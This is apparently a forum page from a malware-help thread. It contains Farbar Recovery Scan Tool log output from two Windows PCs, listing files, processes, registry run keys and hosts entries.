      2017-10-27 13:28 - 2008-04-14 05:42 - 000029696 _____ (Microsoft Corporation) C:\WINDOWS\system32\format.com
      2017-10-27 13:28 - 2008-04-14 05:42 - 000015360 ____C (Microsoft Corporation) C:\WINDOWS\system32\dllcache\msgrocm.dll
      2017-10-27 13:28 - 2008-04-14 05:41 - 000126976 ____C (Microsoft Corporation) C:\WINDOWS\system32\dllcache\dhcpcsvc.dll
      2017-10-27 13:28 - 2008-04-14 05:41 - 000126976 _____ (Microsoft Corporation) C:\WINDOWS\system32\dhcpcsvc.dll
      2017-10-27 13:28 - 2008-04-14 04:42 - 000985088 ____C (Microsoft Corporation) C:\WINDOWS\system32\dllcache\setupapi.dll
      2017-10-27 13:28 - 2008-04-14 04:42 - 000985088 _____ (Microsoft Corporation) C:\WINDOWS\system32\setupapi.dll
      2017-10-27 13:28 - 2008-04-14 04:41 - 000081920 ____C (Microsoft Corporation) C:\WINDOWS\system32\dllcache\ieencode.dll
      2017-10-27 13:28 - 2008-04-14 04:41 - 000081920 _____ (Microsoft Corporation) C:\WINDOWS\system32\ieencode.dll
      2017-10-27 13:28 - 2008-04-14 00:58 - 000175744 ____C (Microsoft Corporation) C:\WINDOWS\system32\dllcache\rdbss.sys
      2017-10-27 13:28 - 2008-04-14 00:58 - 000175744 _____ (Microsoft Corporation) C:\WINDOWS\system32\Drivers\rdbss.sys
      2017-10-27 13:28 - 2008-04-14 00:50 - 000182656 ____C (Microsoft Corporation) C:\WINDOWS\system32\dllcache\ndis.sys
      2017-10-27 13:28 - 2008-04-14 00:50 - 000182656 _____ (Microsoft Corporation) C:\WINDOWS\system32\Drivers\ndis.sys
      2017-10-27 13:28 - 2008-04-14 00:49 - 000146048 ____C (Microsoft Corporation) C:\WINDOWS\system32\dllcache\portcls.sys
      2017-10-27 13:28 - 2008-04-14 00:49 - 000146048 _____ (Microsoft Corporation) C:\WINDOWS\system32\Drivers\portcls.sys
      2017-10-27 13:28 - 2008-04-14 00:45 - 000574976 ____C (Microsoft Corporation) C:\WINDOWS\system32\dllcache\ntfs.sys
      2017-10-27 13:28 - 2008-04-14 00:45 - 000574976 _____ (Microsoft Corporation) C:\WINDOWS\system32\Drivers\ntfs.sys
      2017-10-27 13:28 - 2008-04-14 00:27 - 000041472 ____C (Microsoft Corporation) C:\WINDOWS\system32\dllcache\raspppoe.sys
      2017-10-27 13:28 - 2008-04-14 00:27 - 000041472 _____ (Microsoft Corporation) C:\WINDOWS\system32\Drivers\raspppoe.sys
      2017-10-27 13:28 - 2008-04-14 00:26 - 000069120 ____C (Microsoft Corporation) C:\WINDOWS\system32\dllcache\psched.sys
      2017-10-27 13:28 - 2008-04-14 00:26 - 000069120 _____ (Microsoft Corporation) C:\WINDOWS\system32\Drivers\psched.sys
      2017-10-27 13:28 - 2008-04-14 00:26 - 000030592 ____C (Microsoft Corporation) C:\WINDOWS\system32\dllcache\rndismp.sys
      2017-10-27 13:28 - 2008-04-14 00:26 - 000030592 _____ (Microsoft Corporation) C:\WINDOWS\system32\Drivers\rndismp.sys
      2017-10-27 13:28 - 2008-04-14 00:16 - 000061696 ____C (Microsoft Corporation) C:\WINDOWS\system32\dllcache\ohci1394.sys
      2017-10-27 13:28 - 2008-04-14 00:16 - 000061696 _____ (Microsoft Corporation) C:\WINDOWS\system32\Drivers\ohci1394.sys
      2017-10-27 13:28 - 2008-04-14 00:16 - 000053376 ____C (Microsoft Corporation) C:\WINDOWS\system32\dllcache\1394bus.sys
      2017-10-27 13:28 - 2008-04-14 00:16 - 000053376 _____ (Microsoft Corporation) C:\WINDOWS\system32\Drivers\1394bus.sys
      2017-10-27 13:28 - 2008-04-14 00:15 - 000017152 ____C (Microsoft Corporation) C:\WINDOWS\system32\dllcache\usbohci.sys
      2017-10-27 13:28 - 2008-04-14 00:15 - 000017152 _____ (Microsoft Corporation) C:\WINDOWS\system32\Drivers\usbohci.sys
      2017-10-27 13:28 - 2008-04-14 00:14 - 000081664 ____C (Microsoft Corporation) C:\WINDOWS\system32\dllcache\videoprt.sys
      2017-10-27 13:28 - 2008-04-14 00:14 - 000081664 _____ (Microsoft Corporation) C:\WINDOWS\system32\Drivers\videoprt.sys
      2017-10-27 13:28 - 2008-04-14 00:10 - 000096384 ____C (Microsoft Corporation) C:\WINDOWS\system32\dllcache\scsiport.sys
      2017-10-27 13:28 - 2008-04-14 00:10 - 000096384 _____ (Microsoft Corporation) C:\WINDOWS\system32\Drivers\scsiport.sys
      2017-10-27 13:28 - 2008-04-14 00:10 - 000062976 ____C (Microsoft Corporation) C:\WINDOWS\system32\dllcache\cdrom.sys
      2017-10-27 13:28 - 2008-04-14 00:10 - 000062976 _____ (Microsoft Corporation) C:\WINDOWS\system32\Drivers\cdrom.sys
      2017-10-27 13:28 - 2008-04-14 00:10 - 000036352 ____C (Microsoft Corporation) C:\WINDOWS\system32\dllcache\disk.sys
      2017-10-27 13:28 - 2008-04-14 00:10 - 000036352 _____ (Microsoft Corporation) C:\WINDOWS\system32\Drivers\disk.sys
      2017-10-27 13:28 - 2008-04-14 00:10 - 000011904 ____C (Microsoft Corporation) C:\WINDOWS\system32\dllcache\sffdisk.sys
      2017-10-27 13:28 - 2008-04-14 00:10 - 000011904 _____ (Microsoft Corporation) C:\WINDOWS\system32\Drivers\sffdisk.sys
      2017-10-27 13:28 - 2008-04-14 00:10 - 000011008 ____C (Microsoft Corporation) C:\WINDOWS\system32\dllcache\sffp_sd.sys
      2017-10-27 13:28 - 2008-04-14 00:10 - 000011008 _____ (Microsoft Corporation) C:\WINDOWS\system32\Drivers\sffp_sd.sys
      2017-10-27 13:28 - 2008-04-14 00:09 - 000042368 ____C (Microsoft Corporation) C:\WINDOWS\system32\dllcache\mountmgr.sys
      2017-10-27 13:28 - 2008-04-14 00:09 - 000042368 _____ (Microsoft Corporation) C:\WINDOWS\system32\Drivers\mountmgr.sys
      2017-10-27 13:28 - 2008-04-14 00:06 - 000079232 ____C (Microsoft Corporation) C:\WINDOWS\system32\dllcache\sdbus.sys
      2017-10-27 13:28 - 2008-04-14 00:06 - 000079232 _____ (Microsoft Corporation) C:\WINDOWS\system32\Drivers\sdbus.sys
      2017-10-27 13:28 - 2008-04-14 00:02 - 000196224 ____C (Microsoft Corporation) C:\WINDOWS\system32\dllcache\rdpdr.sys
      2017-10-27 13:28 - 2008-04-14 00:02 - 000196224 _____ (Microsoft Corporation) C:\WINDOWS\system32\Drivers\rdpdr.sys
      2017-10-27 13:28 - 2008-04-14 00:01 - 000134400 _____ (Microsoft Corporation) C:\WINDOWS\system32\hal.dll
      2017-10-27 13:28 - 2008-04-13 23:26 - 000030592 ____C (Microsoft Corporation) C:\WINDOWS\system32\dllcache\rndismpx.sys
      2017-10-27 13:28 - 2008-04-13 23:26 - 000030592 _____ (Microsoft Corporation) C:\WINDOWS\system32\Drivers\rndismpx.sys
      2017-10-27 13:28 - 2006-09-28 19:00 - 000082944 _____ (Microsoft Corporation) C:\WINDOWS\system32\Drivers\wudfrd.sys
      2017-10-27 13:28 - 2006-09-28 18:55 - 000077568 _____ (Microsoft Corporation) C:\WINDOWS\system32\Drivers\wudfpf.sys
      2017-10-27 13:28 - 2001-08-23 13:00 - 000070656 ____C (Microsoft Corporation) C:\WINDOWS\system32\dllcache\ifsutil.dll
      2017-10-27 13:28 - 2001-08-23 13:00 - 000070656 _____ (Microsoft Corporation) C:\WINDOWS\system32\ifsutil.dll
      2017-10-27 13:28 - 2001-08-23 13:00 - 000016384 ____C (Microsoft Corporation) C:\WINDOWS\system32\dllcache\fmifs.dll
      2017-10-27 13:28 - 2001-08-23 13:00 - 000016384 _____ (Microsoft Corporation) C:\WINDOWS\system32\fmifs.dll
      2017-10-27 13:28 - 2001-08-23 13:00 - 000007936 ____C (Microsoft Corporation) C:\WINDOWS\system32\dllcache\fs_rec.sys
      2017-10-27 13:28 - 2001-08-23 13:00 - 000007936 _____ (Microsoft Corporation) C:\WINDOWS\system32\Drivers\fs_rec.sys
      2017-10-27 13:25 - 2016-03-09 00:00 - 000008192 _____ (Microsoft Corporation) C:\WINDOWS\system32\kblChecker.dll
      2017-10-27 13:20 - 2017-10-27 13:43 - 000000000 ____D C:\3986d7fc9f49b457ca22
      2017-10-26 15:59 - 2017-10-26 15:59 - 000000000 ____D C:\Documents and Settings\doni\Local Settings\Application Data\GHISLER
      2017-10-25 22:47 - 2017-10-27 14:21 - 000000000 ____D C:\Program Files\Kerish Doctor
      2017-10-25 22:47 - 2017-10-25 22:48 - 000001629 _____ C:\Documents and Settings\All Users\Desktop\Kerish Doctor 2017.lnk
      2017-10-25 22:47 - 2017-10-25 22:47 - 000011936 _____ (Highresolution Enterprises [www.highrez.co.uk]) C:\WINDOWS\system32\Drivers\inpout32.sys
      2017-10-25 22:47 - 2017-10-25 22:47 - 000000000 ____D C:\Documents and Settings\All Users\Start Menu\Programs\Kerish Doctor
      2017-10-25 22:47 - 2011-01-20 00:07 - 000098304 _____ (Highresolution Enterprises) C:\WINDOWS\system32\inpout32.dll
      2017-10-24 13:04 - 2017-10-24 13:04 - 000000000 ____D C:\Documents and Settings\All Users\Application Data\Kerish Products
      2017-10-24 13:04 - 2016-08-09 09:35 - 000059880 _____ (Kerish Products) C:\WINDOWS\system32\GPUTemp.dll
      2017-10-24 12:26 - 2017-10-24 12:26 - 000001517 _____ C:\WINDOWS\system32\rrr.lnk
      2017-10-24 08:47 - 2017-10-24 08:47 - 000000998 _____ C:\Documents and Settings\doni\Desktop\RegOrganizerPortable.exe.lnk
      2017-10-23 09:05 - 2017-10-23 09:43 - 000000000 ____D C:\AdwCleaner
      2017-10-23 08:19 - 2017-10-23 08:19 - 000000000 ____D C:\Documents and Settings\All Users\Application Data\OO Software
      2017-10-22 21:21 - 2017-10-22 23:35 - 000000000 ____D C:\Documents and Settings\doni\Application Data\Wise Folder Hider
      2017-10-22 15:53 - 2017-10-22 15:53 - 000000000 ____D C:\Documents and Settings\Administrator\Local Settings\Application Data\Mozilla
      2017-10-22 15:53 - 2017-10-22 15:53 - 000000000 ____D C:\Documents and Settings\Administrator\Application Data\Mozilla
      2017-10-22 15:43 - 2017-10-22 15:43 - 000000000 ____D C:\Documents and Settings\Administrator\Local Settings\Application Data\Zemana
      2017-10-22 15:40 - 2017-10-22 17:37 - 000000000 ____D C:\Documents and Settings\Administrator\Local Settings\Temp
      2017-10-22 15:40 - 2017-10-22 15:56 - 000000178 ___SH C:\Documents and Settings\Administrator\ntuser.ini
      2017-10-22 15:40 - 2017-10-22 15:43 - 000000767 _____ C:\Documents and Settings\Administrator\Start Menu\Programs\Internet Explorer.lnk
      2017-10-22 15:40 - 2017-10-22 15:43 - 000000738 _____ C:\Documents and Settings\Administrator\Start Menu\Programs\Outlook Express.lnk
      2017-10-22 15:40 - 2017-10-22 15:40 - 000000792 _____ C:\Documents and Settings\Administrator\Start Menu\Programs\Windows Media Player.lnk
      2017-10-22 15:40 - 2017-10-22 15:40 - 000000000 __SHD C:\Documents and Settings\Administrator\IETldCache
      2017-10-22 15:40 - 2017-10-22 15:40 - 000000000 ____D C:\Documents and Settings\Administrator
      2017-10-22 15:40 - 2010-03-11 04:41 - 000001599 _____ C:\Documents and Settings\Administrator\Start Menu\Programs\Remote Assistance.lnk
      2017-10-20 08:07 - 2017-10-20 08:07 - 000000000 ____D C:\Documents and Settings\NetworkService\Local Settings\Application Data\Zemana
      2017-10-20 08:07 - 2017-10-20 08:07 - 000000000 ____D C:\Documents and Settings\NetworkService\Application Data\Genie9
      2017-10-19 17:18 - 2017-10-19 17:18 - 000000000 __SHD C:\WINDOWS\CSC
      2017-10-19 11:47 - 2017-10-19 11:47 - 000000000 ____D C:\Program Files\Malwarebytes
      2017-10-19 09:35 - 2017-10-19 14:07 - 000000000 ____D C:\Documents and Settings\All Users\Application Data\Malwarebytes
      2017-10-19 09:25 - 2017-10-29 23:03 - 000341032 _____ C:\WINDOWS\system32\FNTCACHE.DAT
      2017-10-14 09:02 - 2017-10-14 09:02 - 000000000 ____D C:\Documents and Settings\All Users\Application Data\Auslogics
      2017-10-11 07:48 - 2017-10-11 07:48 - 000000000 ____D C:\Documents and Settings\LocalService\Application Data\Macromedia
      ==================== One Month Modified files and folders ========
      (If an entry is included in the fixlist, the file/folder will be moved.)
      2017-11-06 19:58 - 2017-01-11 22:56 - 000000000 ____D C:\Documents and Settings\doni\Local Settings\Temp
      2017-11-06 19:48 - 2017-07-16 21:46 - 000000830 ____C C:\WINDOWS\Tasks\Adobe Flash Player Updater.job
      2017-11-06 19:29 - 2010-05-06 20:27 - 000000986 ____C C:\WINDOWS\Tasks\GoogleUpdateTaskMachineUA.job
      2017-11-06 19:28 - 2010-03-11 06:28 - 001111284 ____C C:\WINDOWS\system32\PerfStringBackup.INI
      2017-11-06 19:24 - 2012-09-14 20:40 - 000000982 ____C C:\WINDOWS\Tasks\GoogleUpdateTaskMachineCore1cd92a860a26e52.job
      2017-11-06 19:24 - 2010-03-11 04:43 - 000000006 ___HC C:\WINDOWS\Tasks\SA.DAT
      2017-11-06 07:40 - 2010-03-11 04:44 - 000000278 __SHC C:\Documents and Settings\doni\ntuser.ini
      2017-11-06 07:24 - 2014-02-08 17:19 - 000001098 ____C C:\WINDOWS\Tasks\GoogleUpdateTaskUserS-1-5-18UA.job
      2017-11-05 22:39 - 2017-05-26 20:34 - 000000000 ____D C:\Documents and Settings\doni\Application Data\vlc
      2017-11-05 20:04 - 2017-07-19 11:48 - 000000600 ____C C:\Documents and Settings\doni\PUTTY.RND
      2017-11-05 17:24 - 2014-02-08 17:19 - 000001046 ____C C:\WINDOWS\Tasks\GoogleUpdateTaskUserS-1-5-18Core.job
      2017-11-03 22:34 - 2010-12-14 22:26 - 000000000 ____D C:\Documents and Settings\All Users\Application Data\TEMP
      2017-11-03 20:07 - 2016-04-09 10:34 - 000000000 ____D C:\Documents and Settings\doni\My Documents\Изтегляния
      2017-11-03 19:38 - 2016-11-24 19:40 - 000000000 ____D C:\Program Files\stinger
      2017-11-02 12:16 - 2010-03-28 20:57 - 000000000 ____D C:\Documents and Settings\doni\Application Data\dvdcss
      2017-11-02 11:46 - 2010-04-18 13:54 - 000000202 ____C C:\WINDOWS\NeroDigital.ini
      2017-11-02 09:39 - 2017-01-26 11:17 - 000000000 ____D C:\Program Files\IrfanView
      2017-11-02 09:39 - 2015-06-17 09:43 - 000000000 ____D C:\Documents and Settings\All Users\Application Data\Unchecky
      2017-11-02 08:56 - 2010-03-17 18:26 - 000000000 ____D C:\Documents and Settings\doni\Application Data\uTorrent
      2017-11-01 19:41 - 2010-03-11 04:44 - 000000000 ____D C:\Documents and Settings\doni
      2017-11-01 19:06 - 2017-04-20 19:00 - 000000000 ____D C:\Documents and Settings\doni\Application Data\XnConvert
      2017-11-01 18:39 - 2011-11-09 13:30 - 000000000 ____D C:\Documents and Settings\doni\Application Data\Auslogics
      2017-11-01 18:39 - 2010-03-11 06:21 - 000000000 ____D C:\WINDOWS\system32\inetsrv
      2017-11-01 14:01 - 2016-08-10 14:24 - 000000000 ____D C:\Documents and Settings\doni\My Documents\Загрузки
      2017-11-01 14:00 - 2017-03-29 19:47 - 000000000 ____D C:\Documents and Settings\doni\My Documents\Files
      2017-11-01 12:15 - 2010-03-11 06:21 - 000000000 RSHDC C:\WINDOWS\system32\dllcache
      2017-11-01 11:41 - 2010-03-11 04:51 - 000065536 _____ C:\WINDOWS\system32\config\ACEEvent.evt
      2017-10-30 21:48 - 2010-03-11 04:44 - 000000792 _____ C:\Documents and Settings\doni\Start Menu\Programs\Windows Media Player.lnk
      2017-10-30 21:47 - 2001-08-23 13:00 - 000002206 ____C C:\WINDOWS\system32\wpa.dbl
      2017-10-30 21:46 - 2010-03-11 06:21 - 000000000 ____D C:\WINDOWS\security
      2017-10-30 21:33 - 2010-03-11 06:21 - 000000000 ____D C:\WINDOWS\system32\oobe
      2017-10-30 21:33 - 2010-03-11 06:21 - 000000000 ____D C:\WINDOWS\inf
      2017-10-30 21:33 - 2010-03-11 06:21 - 000000000 ____D C:\WINDOWS\Help
      2017-10-30 21:33 - 2010-03-11 04:41 - 000001563 _____ C:\Documents and Settings\All Users\Start Menu\Set Program Access and Defaults.lnk
      2017-10-30 21:33 - 2010-03-11 04:37 - 000000000 ____D C:\Program Files\Messenger
      2017-10-30 17:43 - 2010-03-17 22:12 - 000041472 ____C C:\Documents and Settings\doni\Local Settings\Application Data\DCBC2A71-70D8-4DAN-EHR8-E0D61DEA3FDF.ini
      2017-10-29 23:50 - 2017-09-17 08:39 - 000100288 _____ C:\WINDOWS\system32\GDIPFONTCACHEV1.DAT
      2017-10-29 22:58 - 2010-03-11 04:41 - 000023392 _____ C:\WINDOWS\system32\nscompat.tlb
      2017-10-29 22:58 - 2010-03-11 04:41 - 000016832 _____ C:\WINDOWS\system32\amcompat.tlb
      2017-10-29 22:30 - 2010-03-11 06:24 - 000000195 __RSH C:\boot.ini
      2017-10-29 10:31 - 2010-03-11 04:38 - 000000000 ____D C:\Program Files\Outlook Express
      2017-10-29 09:10 - 2011-10-17 10:07 - 000000000 ____D C:\WINDOWS\$hf_mig$
      2017-10-29 07:41 - 2017-03-29 20:00 - 000000000 ____D C:\WINDOWS\system32\XPSViewer
      2017-10-28 23:36 - 2010-03-11 06:21 - 000000000 ____D C:\WINDOWS\pchealth
      2017-10-28 20:42 - 2010-03-11 04:43 - 000000178 __SHC C:\Documents and Settings\NetworkService\ntuser.ini
      2017-10-28 19:19 - 2010-03-11 04:51 - 000000000 ____D C:\Program Files\Realtek
      2017-10-28 19:18 - 2010-03-11 04:47 - 000000000 ___HD C:\Program Files\InstallShield Installation Information
      2017-10-27 20:33 - 2001-08-23 13:00 - 000000895 ____C C:\WINDOWS\win.ini
      2017-10-27 20:33 - 2001-08-23 13:00 - 000000246 ____C C:\WINDOWS\system.ini
      2017-10-27 14:54 - 2010-03-11 04:44 - 000000803 ____C C:\Documents and Settings\doni\Start Menu\Programs\Internet Explorer.lnk
      2017-10-27 14:45 - 2010-03-11 13:48 - 000000000 ____D C:\WINDOWS\system32\scripting
      2017-10-27 14:45 - 2010-03-11 13:48 - 000000000 ____D C:\WINDOWS\system32\bits
      2017-10-27 14:45 - 2010-03-11 06:21 - 000000000 ____D C:\WINDOWS\system32\Setup
      2017-10-27 14:44 - 2010-03-11 04:39 - 000000000 ____D C:\Program Files\Movie Maker
      2017-10-27 14:41 - 2010-03-22 10:24 - 000000000 ____D C:\Documents and Settings\doni\Local Settings\Application Data\ApplicationHistory
      2017-10-27 14:41 - 2010-03-11 04:38 - 000000000 ____D C:\WINDOWS\Registration
      2017-10-27 14:35 - 2015-06-23 10:51 - 000000788 _____ C:\Documents and Settings\LocalService\Start Menu\Programs\Windows Media Player.lnk
      2017-10-27 14:15 - 2016-11-17 22:00 - 000000000 ____D C:\Program Files\Hard Disk Sentinel
      2017-10-26 21:14 - 2017-05-02 19:20 - 000000000 ____D C:\Program Files\BackgammonMasters
      2017-10-25 21:34 - 2017-09-21 07:52 - 000000682 _____ C:\Documents and Settings\doni\Desktop\CCleaner.lnk
      2017-10-25 20:48 - 2017-07-16 21:46 - 000803328 ____C (Adobe Systems Incorporated) C:\WINDOWS\system32\FlashPlayerApp.exe
      2017-10-25 20:48 - 2017-07-16 21:46 - 000144896 ____C (Adobe Systems Incorporated) C:\WINDOWS\system32\FlashPlayerCPLApp.cpl
      2017-10-25 20:48 - 2010-03-11 04:39 - 000000000 ____D C:\WINDOWS\system32\Macromed
      2017-10-24 10:02 - 2010-03-22 10:15 - 000000000 ____D C:\Documents and Settings\All Users\Start Menu\Programs\HP
      2017-10-23 11:16 - 2012-04-15 20:32 - 000000000 ____D C:\Documents and Settings\doni\.rainlendar2
      2017-10-23 11:16 - 2010-03-17 21:49 - 000000000 ____D C:\Documents and Settings\doni\Application Data\Skype
      2017-10-22 21:48 - 2016-11-28 13:46 - 000000000 ____D C:\Documents and Settings\doni\My Documents\OziBox
      2017-10-22 21:21 - 2017-06-26 10:25 - 000001700 __SHC C:\WINDOWS\wisefs.dat
      2017-10-22 19:22 - 2010-03-11 06:25 - 000000000 ____D C:\Documents and Settings\All Users
      2017-10-22 17:49 - 2016-12-03 10:26 - 000000000 ____D C:\Program Files\Jotta
      2017-10-22 15:40 - 2010-03-11 06:25 - 000000000 ____D C:\Documents and Settings
      2017-10-22 13:31 - 2010-03-11 06:28 - 000001789 ____C C:\WINDOWS\system32\AUTOEXEC.NT
      2017-10-22 08:56 - 2010-03-11 06:21 - 000000000 ____D C:\WINDOWS\Resources
      2017-10-20 06:50 - 2016-10-20 12:19 - 000000000 ____D C:\Program Files\Pale Moon
      2017-10-19 09:14 - 2010-06-13 12:15 - 000000000 __SHD C:\Documents and Settings\doni\PrivacIE
      2017-10-19 09:11 - 2017-07-04 10:38 - 000000000 ____D C:\Documents and Settings\doni\Application Data\ZHP
      2017-10-19 09:11 - 2010-03-28 19:51 - 000000000 ____D C:\Documents and Settings\doni\Local Settings\Application Data\Google
      2017-10-14 08:41 - 2017-05-02 18:26 - 000000000 ____D C:\Program Files\Goodgammon
      2017-10-14 08:41 - 2017-01-21 17:51 - 000000000 ____D C:\Program Files\Slimjet
      2017-10-14 08:41 - 2010-12-04 14:43 - 000000000 ____D C:\Program Files\Your Uninstaller 2010
      2017-10-14 08:21 - 2017-09-21 19:55 - 000000000 ____D C:\Program Files\Common Files\IObit
      2017-10-14 08:21 - 2017-09-21 19:54 - 000000000 ____D C:\Documents and Settings\doni\Application Data\IObit
      2017-10-09 11:28 - 2016-11-29 22:28 - 000000000 ____D C:\Documents and Settings\All Users\Start Menu\Programs\Ozibox Synchronization Application
      ==================== Files in the root of some directories =======
      2010-04-06 23:40 - 2010-04-06 23:40 - 000007176 ____C () C:\Documents and Settings\doni\Application Data\pcouffin.cat
      2010-04-06 23:40 - 2010-04-06 23:40 - 000001144 ____C () C:\Documents and Settings\doni\Application Data\pcouffin.inf
      2010-04-06 23:40 - 2010-04-06 23:40 - 000000034 ____C () C:\Documents and Settings\doni\Application Data\pcouffin.log
      2010-04-06 23:40 - 2010-04-06 23:40 - 000047360 ____C (VSO Software) C:\Documents and Settings\doni\Application Data\pcouffin.sys
      2010-03-17 22:12 - 2017-10-30 17:43 - 000041472 ____C () C:\Documents and Settings\doni\Local Settings\Application Data\DCBC2A71-70D8-4DAN-EHR8-E0D61DEA3FDF.ini
      2010-03-22 10:24 - 2010-03-22 10:24 - 000000127 ____C () C:\Documents and Settings\doni\Local Settings\Application Data\fusioncache.dat
      2017-01-24 13:38 - 2016-11-23 15:37 - 000000570 ____C () C:\Documents and Settings\doni\Local Settings\Application Data\TroubleshooterConfig.json
      2012-03-06 10:56 - 2017-05-28 22:02 - 000000043 __SHC () C:\Documents and Settings\All Users\Application Data\.zreglib
      2016-10-05 16:19 - 2016-10-05 16:19 - 000000232 ____C () C:\Documents and Settings\All Users\Application Data\fontcacheev1.dat
      Files to move or delete:
      ====================
      C:\Documents and Settings\doni\TempWmicBatchFile.bat

      Some zero byte size files/folders:
      ==========================
      C:\Windows\mansk.dll
      ==================== Bamital & volsnap ======================
      (There is no automatic fix for files that do not pass verification.)
      C:\WINDOWS\explorer.exe => File is digitally signed
      C:\WINDOWS\system32\winlogon.exe => File is digitally signed
      C:\WINDOWS\system32\svchost.exe => File is digitally signed
      C:\WINDOWS\system32\services.exe => File is digitally signed
      C:\WINDOWS\system32\User32.dll => File is digitally signed
      C:\WINDOWS\system32\userinit.exe => File is digitally signed
      C:\WINDOWS\system32\rpcss.dll => File is digitally signed
      C:\WINDOWS\system32\dnsapi.dll => File is digitally signed
      C:\WINDOWS\system32\Drivers\volsnap.sys => File is digitally signed
      C:\WINDOWS\system32\drivers\sptd.sys -> MD5 = D41D8CD98F00B204E9800998ECF8427E (0-byte MD5) <======= ATTENTION
      ==================== End of FRST.txt ============================
      Addition.txt
    • от SIMO70
      Scan result of Farbar Recovery Scan Tool (FRST) (x64) Version: 18-11-2017
      Ran by симо7 (administrator) on СИМО (18-11-2017 18:05:13)
      Running from C:\Users\симо7\Desktop
      Loaded Profiles: симо7 (Available Profiles: симо7)
      Platform: Windows 8.1 Pro (Update) (X64) Language: Български (България)
      Internet Explorer Version 11 (Default browser: FF)
      Boot Mode: Normal
      Tutorial for Farbar Recovery Scan Tool: http://www.geekstogo.com/forum/topic/335081-frst-tutorial-how-to-use-farbar-recovery-scan-tool/
      ==================== Processes (Whitelisted) =================
      (If an entry is included in the fixlist, the process will be closed. The file will not be moved.)
      (NVIDIA Corporation) C:\Program Files\NVIDIA Corporation\Display.NvContainer\NVDisplay.Container.exe
      (AVAST Software) C:\Program Files\AVAST Software\Avast\AvastSvc.exe
      (AVAST Software) C:\Program Files\AVAST Software\Avast\afwServ.exe
      (Apple Inc.) C:\Program Files\Bonjour\mDNSResponder.exe
      (Microsoft Corporation) C:\Windows\Microsoft.NET\Framework64\v3.0\WPF\PresentationFontCache.exe
      (NVIDIA Corporation) C:\Program Files\NVIDIA Corporation\NvContainer\nvcontainer.exe
      (NVIDIA Corporation) C:\Program Files (x86)\NVIDIA Corporation\NvTelemetry\NvTelemetryContainer.exe
      (@ByELDI) C:\Program Files\KMSpico\Service_KMS.exe
      (AVAST Software) C:\Program Files\AVAST Software\Avast\x64\aswidsagenta.exe
      (Microsoft Corporation) C:\Windows\System32\dllhost.exe
      (Malwarebytes) C:\Program Files\Malwarebytes\Anti-Malware\MBAMService.exe
      (NVIDIA Corporation) C:\Program Files\NVIDIA Corporation\Display.NvContainer\NVDisplay.Container.exe
      (NVIDIA Corporation) C:\Program Files (x86)\NVIDIA Corporation\NvContainer\nvcontainer.exe
      (Malwarebytes) C:\Program Files\Malwarebytes\Anti-Malware\mbamtray.exe
      (Intel Corporation) C:\Windows\System32\igfxtray.exe
      (Intel Corporation) C:\Windows\System32\hkcmd.exe
      (Node.js) C:\Program Files (x86)\NVIDIA Corporation\NvNode\NVIDIA Web Helper.exe
      (AVAST Software) C:\Program Files\AVAST Software\Avast\AvastUI.exe
      (BitTorrent Inc.) C:\Users\симо7\AppData\Roaming\uTorrent\uTorrent.exe
      (BitTorrent Inc.) C:\Users\симо7\AppData\Roaming\uTorrent\updates\3.4.9_43388\utorrentie.exe
      (BitTorrent Inc.) C:\Users\симо7\AppData\Roaming\uTorrent\updates\3.4.9_43388\utorrentie.exe
      (Mozilla Corporation) C:\Program Files (x86)\Mozilla Firefox\firefox.exe
      (Mozilla Corporation) C:\Program Files (x86)\Mozilla Firefox\firefox.exe
      (Mozilla Corporation) C:\Program Files (x86)\Mozilla Firefox\firefox.exe
      (Mozilla Corporation) C:\Program Files (x86)\Mozilla Firefox\firefox.exe
      (Microsoft Corporation) C:\Windows\System32\dllhost.exe
      (Innovative Digital Technologies) C:\Users\симо7\AppData\Roaming\ACEStream\player\ace_player.exe
      (Innovative Digital Technologies) C:\Users\симо7\AppData\Roaming\ACEStream\engine\ace_engine.exe
      (Innovative Digital Technologies) C:\Users\симо7\AppData\Roaming\ACEStream\engine\ace_engine.exe
      () C:\Users\симо7\AppData\Roaming\ACEStream\updater\ace_update.exe
      (Mozilla Corporation) C:\Program Files (x86)\Mozilla Firefox\firefox.exe
      (Mozilla Corporation) C:\Program Files (x86)\Mozilla Firefox\firefox.exe
      ==================== Registry (Whitelisted) ===========================
      (If an entry is included in the fixlist, the registry item will be restored to default or removed. The file will not be moved.)
      HKLM\...\Run: [AvastUI.exe] => C:\Program Files\AVAST Software\Avast\AvLaunch.exe [253344 2017-11-10] (AVAST Software)
      HKLM-x32\...\Run: [PowerDVD17Agent] => C:\Program Files (x86)\CyberLink\PowerDVD17\PowerDVD17Agent.exe [526376 2017-02-18] (CyberLink Corp.)
      Winlogon\Notify\igfxcui: C:\Windows\system32\igfxdev.dll (Intel Corporation)
      HKU\S-1-5-21-976013588-1774182616-1790962854-1001\...\Run: [uTorrent] => C:\Users\симо7\AppData\Roaming\uTorrent\uTorrent.exe [2405056 2017-03-18] (BitTorrent Inc.)
      HKU\S-1-5-21-976013588-1774182616-1790962854-1001\...\Run: [DAEMON Tools Lite] => C:\Program Files (x86)\DAEMON Tools Lite\DTLite.exe [3672640 2013-03-14] (Disc Soft Ltd)
      HKU\S-1-5-21-976013588-1774182616-1790962854-1001\...\Policies\Explorer: [NolowDiskSpaceChecks] 1
      HKU\S-1-5-21-976013588-1774182616-1790962854-1001\...\MountPoints2: {2f40cbec-ac01-11e7-82a5-2cd4449354ae} - "H:\HiSuiteDownLoader.exe"
      HKU\S-1-5-21-976013588-1774182616-1790962854-1001\...\MountPoints2: {a28ae7af-ab96-11e7-82a5-2cd4449354ae} - "H:\HiSuiteDownLoader.exe"
      AppInit_DLLs: C:\Windows\system32\nvinitx.dll => C:\Windows\system32\nvinitx.dll [171896 2017-10-27] (NVIDIA Corporation)
      AppInit_DLLs-x32: C:\Windows\SysWOW64\nvinit.dll => C:\Windows\SysWOW64\nvinit.dll [149552 2017-10-27] (NVIDIA Corporation)
      ==================== Internet (Whitelisted) ====================
      (If an item is included in the fixlist, if it is a registry item it will be removed or restored to default.)
      Hosts: 127.0.0.1       cap.cyberlink.com
      Tcpip\Parameters: [DhcpNameServer] 172.16.1.1
      Tcpip\..\Interfaces\{7D160F40-690F-4016-ADAE-E09D926443B7}: [DhcpNameServer] 172.16.1.1
      Internet Explorer:
      ==================
      HKLM\Software\Microsoft\Internet Explorer\Main,Start Page = about:blank
      HKLM\Software\Wow6432Node\Microsoft\Internet Explorer\Main,Start Page = about:blank
      HKLM\Software\Microsoft\Internet Explorer\Main,Default_Page_URL =
      HKLM\Software\Wow6432Node\Microsoft\Internet Explorer\Main,Default_Page_URL =
      HKLM\Software\Microsoft\Internet Explorer\Main,Default_Search_URL =
